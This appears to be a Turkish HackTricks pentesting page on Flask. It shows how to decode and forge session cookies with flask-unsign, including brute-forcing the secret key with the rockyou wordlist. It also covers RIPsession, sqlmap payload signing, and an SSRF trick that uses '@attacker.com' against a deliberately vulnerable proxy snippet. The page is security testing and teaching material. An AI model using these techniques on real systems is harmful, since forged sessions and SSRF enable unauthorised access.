90 lines
2.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Flask
{{#include ../../banners/hacktricks-training.md}}
**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** ile ilgili olacaktır.**
## Çerezler
Varsayılan çerez oturum adı **`session`**.
### Decoder
Çevrimiçi Flask çerezleri decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Manuel
Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Cookie ayrıca bir şifre kullanılarak imzalanmıştır.
### **Flask-Unsign**
Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
#### **Çerezleri Çöz**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Kaba Güç**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **İmza**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Eski sürümlerle imzalama
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### Flask oturum çerezinde SQLi ve SQLmap
[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) sqlmap `eval` seçeneğini kullanarak **flask için sqlmap yüklerini otomatik olarak imzalamak** için bilinen bir gizli anahtar kullanır.
## SSRF için Flask Proxy
[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Aşağıdaki senaryoda:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Şunu girmeye izin verebilir: "@attacker.com" böylece bir **SSRF** oluşturulabilir.
{{#include ../../banners/hacktricks-training.md}}